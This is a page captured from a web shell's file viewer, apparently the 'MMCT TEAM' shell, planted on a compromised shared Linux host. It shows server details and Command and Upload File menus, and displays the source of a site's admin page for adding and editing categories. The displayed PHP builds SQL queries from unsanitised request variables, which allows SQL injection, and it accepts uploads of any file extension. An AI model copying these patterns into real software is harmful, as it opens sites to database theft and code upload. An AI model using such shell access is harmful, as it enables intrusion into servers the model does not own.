MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.190.253.56
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/arcsol.in/../brmarketingindia.com/../adowoods.com/wknadmin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/arcsol.in/../brmarketingindia.com/../adowoods.com/wknadmin/addedit-category.php
<?php
require_once("../includes/dbsmain.inc.php");
require_once ('../includes/photoshop.php');
ob_start();
$category_id=$_REQUEST['id'];
if(is_post_back()){
//*************** UPDATE EXISTING CATEGORY START ************************//
if($_REQUEST['id']!='0') {
$category_url=ami_crete_url($category_name);
////////////****************** IMAGE RESIZING START HERE *****************************//
//********** Code Created By Amitabh Kumar Sinha : Web Developer : Webkey Network Pvt. Ltd. *****************//
//**********  DATE : 31:07:2014 *****************//
//------------FUNCTION TO GET IMAGE EXTENSION START---------------//
 function getExtension($str) {
         $i = strrpos($str,".");
         if (!$i) { return ""; }
         $l = strlen($str) - $i;
         $ext = substr($str,$i+1,$l);
         return $ext;
 }
 //------------FUNCTION TO GET IMAGE EXTENSION END---------------//
if($_SERVER["REQUEST_METHOD"] == "POST"){
  
$image =$_FILES["file"]["name"];
$imgToDel=db_scalar("SELECT category_image_name FROM tbl_category WHERE  category_id='$category_id'");	

if($image){

@unlink("../uploaded_files/$imgToDel");
@unlink("../uploaded_files/large/$imgToDel");

	
	$uploadedfile = $_FILES['file']['tmp_name']; 
    $filename = stripslashes($_FILES['file']['name']); 	
	$extension = getExtension($filename);
	$extension = strtolower($extension);		
	$imgNAME = substr(md5($category_url.time().rand(1,10)),0,14).".".$extension;	
	move_uploaded_file($_FILES['file']['tmp_name'],"../uploaded_files/$imgNAME");

///////////////////////////// FOR SMALL  THUMB AND LARGE IMAGE /////////////////////////
$image = new Zebra_Image(); 
$image->source_path = '../uploaded_files/'.$imgNAME; 
$ext = substr($image->source_path, strrpos($image->source_path, '.') + 1);
// indicate a target image
$image->target_path = '../uploaded_files/large/'.$imgNAME;
// resize
// and if there is an error, show the error message
if (!$image->resize(400, 400, ZEBRA_IMAGE_NOT_BOXED, -1)) show_error($image->error, $image->source_path, $image->target_path);
////////////////////////////////////////////////////////////////////////////////////////

}else{
$imgNAME=$imgToDel;
}

}

////////////****************** IMAGE RESIZING END HERE *****************************//

$sql = "update tbl_category set        
				category_name='$category_name',
				category_image_name='$imgNAME',
				category_description = '$category_description', 	
				category_is_hot='$category_is_hot',
				category_is_featured='$category_is_featured',
				category_for_falsh='$category_for_falsh',
				category_meta_title='$category_meta_title',
				category_meta_description='$category_meta_description',
				category_meta_keywords='$category_meta_keywords',
				category_is_product='$category_is_product',
				category_url='$category_url',
				category_add_date='$currDATE',
				category_status='$category_status'
				where category_id = '$category_id' ";

db_query($sql);
set_session_msg("Category Updated Successfully !");
header("Location:addedit-category.php?id=$_REQUEST[id]");
exit;
//*************** UPDATE EXISTING CATEGORY END ************************//
}else{
$category_url=ami_crete_url($category_name);
//*************** INSERT NEW CATEGORY START ************************//
////////////****************** IMAGE RESIZING START HERE *****************************//
//********** Code Created By Amitabh Kumar Sinha : Web Developer : Webkey Network Pvt. Ltd. *****************//
//**********  DATE : 31:07:2014 *****************//
//------------FUNCTION TO GET IMAGE EXTENSION START---------------//
 function getExtension($str) {
         $i = strrpos($str,".");
         if (!$i) { return ""; }
         $l = strlen($str) - $i;
         $ext = substr($str,$i+1,$l);
         return $ext;
 }
 //------------FUNCTION TO GET IMAGE EXTENSION END---------------//
if($_SERVER["REQUEST_METHOD"] == "POST"){

$image =$_FILES["file"]["name"];

if($image){

	$uploadedfile = $_FILES['file']['tmp_name']; 
    $filename = stripslashes($_FILES['file']['name']); 	
	$extension = getExtension($filename);
	$extension = strtolower($extension);		
	$imgNAME = substr(md5($category_url.time().rand(1,10)),0,14).".".$extension;	
	move_uploaded_file($_FILES['file']['tmp_name'],"../uploaded_files/$imgNAME");

///////////////////////////// FOR SMALL  THUMB AND LARGE IMAGE /////////////////////////
$image = new Zebra_Image(); 
$image->source_path = '../uploaded_files/'.$imgNAME; 
$ext = substr($image->source_path, strrpos($image->source_path, '.') + 1);
// indicate a target image
$image->target_path = '../uploaded_files/large/'.$imgNAME;
// resize
// and if there is an error, show the error message
if (!$image->resize(400, 400, ZEBRA_IMAGE_NOT_BOXED, -1)) show_error($image->error, $image->source_path, $image->target_path);
///////////////////////////////////////////////////////////////////////////////////////

}

	 
	 
}

////////////****************** IMAGE RESIZING END HERE *****************************//
$sql = "insert into tbl_category set 
                category_name='$category_name',
				category_image_name='$imgNAME',
				category_description='$category_description', 	
				category_is_hot='$category_is_hot',
				category_is_featured='$category_is_featured',
				category_for_falsh='$category_for_falsh',
				category_meta_title='$category_meta_title',
				category_meta_description='$category_meta_description',
				category_meta_keywords='$category_meta_keywords',
				category_is_product='$category_is_product',
				category_url='$category_url',
				category_add_date='$currDATE',
				category_status='$category_status'";
db_query($sql);
set_session_msg("Category Added Successfully !");
header("Location:addedit-category.php?id=$_REQUEST[id]");
exit;
//*************** INSERT NEW CATEGORY END ************************//
 }
}

if($category_id!='') {
	$result = db_query("select * from tbl_category where category_id = '$category_id'");
	if ($line_raw = mysqli_fetch_array($result)) {
	 @extract($line_raw);
	}
}
?>
<script src="ckeditor/ckeditor.js"></script>
<style>
p.fck {
    width: 90%;
	float:left;
    margin: 0 auto;
 }
</style>
<link href="styles.css" rel="stylesheet" type="text/css">
<?php include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead">Add/Edit Category</div></td>
              </tr>
            </table>
            <div align="right"><a href="category_list.php" style="font-size:12px; font-weight:bold; margin-right:15px;">Back to Category List</a>&nbsp;</div>
            <form name="form1" method="post" enctype="multipart/form-data">
              <table width="95%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm">
                <tr>
                  <td width="20%" class="tdLabel">&nbsp;</td>
                  <td width="80%" class="tdData" style="padding-left:7px;"><strong><font color="red">
                    <?=display_sess_msg();?>
                    </font></strong></td>
                </tr>
                <tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">Category Name:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;"><input name="category_name" style="width:350px; height:28px;" type="text" id="category_name"  value="<?=$category_name?>" class="textfield"  ></td>
                </tr>
                <?php if($category_image_name){ ?>
                <tr>
                  <td width="177" class="tdLabel" style="font-size:12px; padding:5px;">Current Image  :</td>
                  <td width="721" class="tdData" style="font-size:12px; padding:5px;"><img src="../uploaded_files/<?=$category_image_name?>" height="70" width="70"  border="0"> </td>
                </tr>
                <? } ?>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:5px;">Category Image :</td>
                  <td class="tdData" style="font-size:12px; padding:5px;"><input type="file" name="file" id="file"></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Meta Title:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><input name="category_meta_title" style="width:350px; height:28px;" type="text" id="category_meta_title"  value="<?=$category_meta_title?>" class="textfield" /></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Meta Keyword:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><textarea rows="5" cols="66" name="category_meta_keywords"><?=$category_meta_keywords?>
</textarea></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Meta Description:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><textarea rows="5" cols="66" name="category_meta_description"><?=$category_meta_description?>
</textarea></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Category Description:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><p class="fck">
                      <textarea cols="80" id="editor1" name="category_description" rows="10"><?=$category_description?>
</textarea>
                      <script>

			// Replace the <textarea id="editor"> with an CKEditor
			// instance, using default configurations.
			CKEDITOR.replace( 'editor1', {
				uiColor: '#ACACAC',
				toolbar: [
					[ 'Bold', 'Italic', '-', 'NumberedList', 'BulletedList', '-', 'Link', 'Unlink' ],
					[ 'FontSize', 'TextColor', 'BGColor' ]
				]
			});

		</script>
                    </p></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Category Is Hot ?:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="category_is_hot" style="width:200px; height:26px;">
                      <option value="Yes" <?php if($category_is_hot=='Yes'){ ?> selected="selected" <? } ?>>Yes</option>
                      <option value="No" <?php if($category_is_hot=='No'){ ?> selected="selected" <? } ?>>No</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Category Is Featured ?:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="category_is_featured" style="width:200px; height:26px;">
                      <option value="Yes" <?php if($category_is_featured=='Yes'){ ?> selected="selected" <? } ?>>Yes</option>
                      <option value="No" <?php if($category_is_featured=='No'){ ?> selected="selected" <? } ?>>No</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Set For Flash ?:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="category_for_falsh" style="width:200px; height:26px;">
                      <option value="Yes" <?php if($category_for_falsh=='Yes'){ ?> selected="selected" <? } ?>>Yes</option>
                      <option value="No" <?php if($category_for_falsh=='No'){ ?> selected="selected" <? } ?>>No</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Category Is ?:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="category_is_product" style="width:200px; height:26px;">
                      <option value="Yes" <?php if($category_is_product=='Yes'){ ?> selected="selected" <? } ?>>Product</option>
                      <option value="No" <?php if($category_is_product=='No'){ ?> selected="selected" <? } ?>>Service</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Status:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="category_status" style="width:200px; height:26px;">
                      <option value="Active" <?php if($category_status=='Active'){ ?> selected="selected" <? } ?>>Active</option>
                      <option value="Inactive" <?php if($category_status=='Inactive'){ ?> selected="selected" <? } ?>>Inactive</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">&nbsp;</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><input type="hidden" name="category_id" value="<?=$category_id?>" />
                    <input type="image" name="imageField" src="images/buttons/submit.gif" style="width:100px; margin-bottom:25px;" /></td>
                </tr>
              </table>
            </form>
            <? include("bottom.inc.php");?>

MMCT - 2023